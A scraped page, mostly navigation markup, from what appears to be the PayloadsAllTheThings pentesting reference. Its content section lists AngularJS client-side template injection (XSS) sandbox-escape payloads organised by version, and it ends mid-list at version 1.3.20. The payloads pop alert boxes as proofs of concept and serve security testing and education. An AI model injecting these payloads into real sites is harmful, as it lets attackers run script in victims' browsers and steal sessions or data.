<a href="../../Type%20Juggling/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Type Juggling
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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</li>
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Upload Insecure Files
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_53">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Upload Insecure Files
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Upload Insecure Files
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Configuration Apache .htaccess
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_53_2">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Configuration Apache .htaccess
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
.htaccess
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
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|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Cache Deception
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_54">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Web Cache Deception
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Cache Deception
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Sockets
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_55">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Web Sockets
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Web%20Sockets/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Sockets
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XPATH Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_56">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XPATH Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XPATH%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XPATH Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSLT Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_57">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XSLT Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XSLT%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSLT Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" checked>
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="true">
|
|
<label class="md-nav__title" for="__nav_58">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XSS Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross Site Scripting
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS Filter Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../2%20-%20XSS%20Polyglot/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Polyglot XSS
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Common WAF Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../4%20-%20CSP%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CSP Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--active">
|
|
|
|
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
|
|
|
|
|
|
|
|
|
|
|
<label class="md-nav__link md-nav__link--active" for="__toc">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS in Angular and AngularJS
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<a href="./" class="md-nav__link md-nav__link--active">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS in Angular and AngularJS
|
|
</span>
|
|
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<label class="md-nav__title" for="__toc">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Table of contents
|
|
</label>
|
|
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#summary" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Summary
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#client-side-template-injection" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Client Side Template Injection
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Client Side Template Injection">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#storedreflected-xss" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Stored/Reflected XSS
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#advanced-bypassing-xss" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Advanced Bypassing XSS
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#blind-xss" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Blind XSS
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#automatic-sanitization" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Automatic Sanitization
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#references" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
References
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XXE Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_59">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XXE Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XXE%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XML External Entity
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Zip Slip
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_60">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Zip Slip
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Zip%20Slip/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Zip Slip
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LEARNING AND SOCIALS
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_61">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
LEARNING AND SOCIALS
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Books
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Twitter
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Youtube
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_62" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_62" id="__nav_62_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
template vuln
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_62_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_62">
|
|
<span class="md-nav__icon md-icon"></span>
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template vuln
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../_template_vuln/" class="md-nav__link">
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<span class="md-ellipsis">
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Vulnerability Title
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</span>
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</a>
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</nav>
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<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
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<div class="md-sidebar__scrollwrap">
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<label class="md-nav__title" for="__toc">
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Table of contents
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</label>
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<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="#summary" class="md-nav__link">
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<span class="md-ellipsis">
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Summary
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="#client-side-template-injection" class="md-nav__link">
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<span class="md-ellipsis">
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Client Side Template Injection
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</span>
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</a>
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<nav class="md-nav" aria-label="Client Side Template Injection">
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<ul class="md-nav__list">
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<li class="md-nav__item">
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<a href="#storedreflected-xss" class="md-nav__link">
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<span class="md-ellipsis">
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Stored/Reflected XSS
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</span>
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</a>
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<a href="#advanced-bypassing-xss" class="md-nav__link">
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<span class="md-ellipsis">
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Advanced Bypassing XSS
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</span>
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</a>
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<li class="md-nav__item">
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<a href="#blind-xss" class="md-nav__link">
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<span class="md-ellipsis">
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Blind XSS
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</span>
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</a>
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<a href="#automatic-sanitization" class="md-nav__link">
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<span class="md-ellipsis">
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Automatic Sanitization
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References
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<div class="md-content" data-md-component="content">
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<article class="md-content__inner md-typeset">
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<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/5 - XSS in Angular.md" title="Edit this page" class="md-content__button md-icon">
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<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg>
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</a>
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<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/XSS Injection/5 - XSS in Angular.md" title="View source of this page" class="md-content__button md-icon">
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<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
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</a>
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<h1 id="xss-in-angular-and-angularjs">XSS in Angular and AngularJS</h1>
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<h2 id="summary">Summary</h2>
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<ul>
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<li><a href="#client-side-template-injection">Client Side Template Injection</a><ul>
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<li><a href="#storedreflected-xss">Stored/Reflected XSS</a></li>
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<li><a href="#advanced-bypassing-xss">Advanced Bypassing XSS</a></li>
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<li><a href="#blind-xss">Blind XSS</a></li>
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</ul>
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</li>
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<li><a href="#automatic-sanitization">Automatic Sanitization</a></li>
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<li><a href="#references">References</a></li>
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</ul>
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<h2 id="client-side-template-injection">Client Side Template Injection</h2>
|
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<p>The following payloads are based on Client Side Template Injection.</p>
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<h3 id="storedreflected-xss">Stored/Reflected XSS</h3>
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<p><code>ng-app</code> directive must be present in a root element to allow the client-side injection (cf. <a href="https://docs.angularjs.org/api/ng/directive/ngApp">AngularJS: API: ngApp</a>).</p>
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<blockquote>
|
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<p>AngularJS as of version 1.6 have removed the sandbox altogether</p>
|
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</blockquote>
|
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<p>AngularJS 1.6+ by <a href="https://twitter.com/cure53berlin">Mario Heiderich</a></p>
|
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<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="p">{{</span><span class="kr">constructor</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s1">'alert(1)'</span><span class="p">)()}}</span>
|
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</code></pre></div>
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<p>AngularJS 1.6+ by <a href="https://twitter.com/brutelogic/status/1031534746084491265">@brutelogic</a></p>
|
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<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="p">{{[].</span><span class="nx">pop</span><span class="p">.</span><span class="kr">constructor</span><span class="o">&</span><span class="err">#</span><span class="mf">40</span><span class="s1">'alert\u00281\u0029'</span><span class="o">&</span><span class="err">#</span><span class="mf">41</span><span class="o">&</span><span class="err">#</span><span class="mf">40</span><span class="o">&</span><span class="err">#</span><span class="mf">41</span><span class="p">}}</span>
|
|
</code></pre></div>
|
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<p>Example available at <a href="https://brutelogic.com.br/xss.php?a=<brute+ng-app>%7B%7B[].pop.constructor%26%2340%27alert%5Cu00281%5Cu0029%27%26%2341%26%2340%26%2341%7D%7D">https://brutelogic.com.br/xss.php</a></p>
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<p>AngularJS 1.6.0 by <a href="https://twitter.com/LewisArdern/status/1055887619618471938">@LewisArdern</a> & <a href="https://twitter.com/garethheyes/status/1055884215131213830">@garethheyes</a></p>
|
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<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="p">{{</span><span class="mf">0</span><span class="p">[</span><span class="nx">a</span><span class="o">=</span><span class="s1">'constructor'</span><span class="p">][</span><span class="nx">a</span><span class="p">](</span><span class="s1">'alert(1)'</span><span class="p">)()}}</span>
|
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<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="p">{{</span><span class="nx">$eval</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s1">'alert(1)'</span><span class="p">)()}}</span>
|
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<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="p">{{</span><span class="nx">$on</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s1">'alert(1)'</span><span class="p">)()}}</span>
|
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</code></pre></div>
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<p>AngularJS 1.5.9 - 1.5.11 by <a href="https://twitter.com/tehjh">Jan Horn</a></p>
|
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<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="p">{{</span>
|
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<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="w"> </span><span class="nx">c</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">call</span><span class="p">;</span><span class="nx">b</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">bind</span><span class="p">;</span><span class="nx">a</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">apply</span><span class="p">;</span>
|
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<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="w"> </span><span class="nx">c</span><span class="p">.</span><span class="nx">$apply</span><span class="o">=</span><span class="nx">$apply</span><span class="p">;</span><span class="nx">c</span><span class="p">.</span><span class="nx">$eval</span><span class="o">=</span><span class="nx">b</span><span class="p">;</span><span class="nx">op</span><span class="o">=</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$$phase</span><span class="p">;</span>
|
|
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="w"> </span><span class="nx">$root</span><span class="p">.</span><span class="nx">$$phase</span><span class="o">=</span><span class="kc">null</span><span class="p">;</span><span class="nx">od</span><span class="o">=</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$digest</span><span class="p">;</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$digest</span><span class="o">=</span><span class="p">({}).</span><span class="nx">toString</span><span class="p">;</span>
|
|
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a><span class="w"> </span><span class="nx">C</span><span class="o">=</span><span class="nx">c</span><span class="p">.</span><span class="nx">$apply</span><span class="p">(</span><span class="nx">c</span><span class="p">);</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$$phase</span><span class="o">=</span><span class="nx">op</span><span class="p">;</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$digest</span><span class="o">=</span><span class="nx">od</span><span class="p">;</span>
|
|
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a><span class="w"> </span><span class="nx">B</span><span class="o">=</span><span class="nx">C</span><span class="p">(</span><span class="nx">b</span><span class="p">,</span><span class="nx">c</span><span class="p">,</span><span class="nx">b</span><span class="p">);</span><span class="nx">$evalAsync</span><span class="p">(</span><span class="s2">"</span>
|
|
<a id="__codelineno-3-7" name="__codelineno-3-7" href="#__codelineno-3-7"></a><span class="s2"> astNode=pop();astNode.type='UnaryExpression';</span>
|
|
<a id="__codelineno-3-8" name="__codelineno-3-8" href="#__codelineno-3-8"></a><span class="s2"> astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';</span>
|
|
<a id="__codelineno-3-9" name="__codelineno-3-9" href="#__codelineno-3-9"></a><span class="s2"> astNode.argument={type:'Identifier',name:'foo'};</span>
|
|
<a id="__codelineno-3-10" name="__codelineno-3-10" href="#__codelineno-3-10"></a><span class="s2"> "</span><span class="p">);</span>
|
|
<a id="__codelineno-3-11" name="__codelineno-3-11" href="#__codelineno-3-11"></a><span class="w"> </span><span class="nx">m1</span><span class="o">=</span><span class="nx">B</span><span class="p">(</span><span class="nx">$$asyncQueue</span><span class="p">.</span><span class="nx">pop</span><span class="p">().</span><span class="nx">expression</span><span class="p">,</span><span class="kc">null</span><span class="p">,</span><span class="nx">$root</span><span class="p">);</span>
|
|
<a id="__codelineno-3-12" name="__codelineno-3-12" href="#__codelineno-3-12"></a><span class="w"> </span><span class="nx">m2</span><span class="o">=</span><span class="nx">B</span><span class="p">(</span><span class="nx">C</span><span class="p">,</span><span class="kc">null</span><span class="p">,</span><span class="nx">m1</span><span class="p">);[].</span><span class="nx">push</span><span class="p">.</span><span class="nx">apply</span><span class="o">=</span><span class="nx">m2</span><span class="p">;</span><span class="nx">a</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">;</span>
|
|
<a id="__codelineno-3-13" name="__codelineno-3-13" href="#__codelineno-3-13"></a><span class="w"> </span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'a(b.c)'</span><span class="p">);[].</span><span class="nx">push</span><span class="p">.</span><span class="nx">apply</span><span class="o">=</span><span class="nx">a</span><span class="p">;</span>
|
|
<a id="__codelineno-3-14" name="__codelineno-3-14" href="#__codelineno-3-14"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>AngularJS 1.5.0 - 1.5.8</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="p">{{</span><span class="nx">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="s1">'y'</span><span class="o">:</span><span class="s1">''</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">};</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="s1">'y'</span><span class="p">].</span><span class="nx">charAt</span><span class="o">=</span><span class="p">[].</span><span class="nx">join</span><span class="p">;</span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'x=alert(1)'</span><span class="p">);}}</span>
|
|
</code></pre></div>
|
|
<p>AngularJS 1.4.0 - 1.4.9</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="p">{{</span><span class="s1">'a'</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">charAt</span><span class="o">=</span><span class="p">[].</span><span class="nx">join</span><span class="p">;</span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'x=1} } };alert(1)//'</span><span class="p">);}}</span>
|
|
</code></pre></div>
|
|
<p>AngularJS 1.3.20</p>
|
|
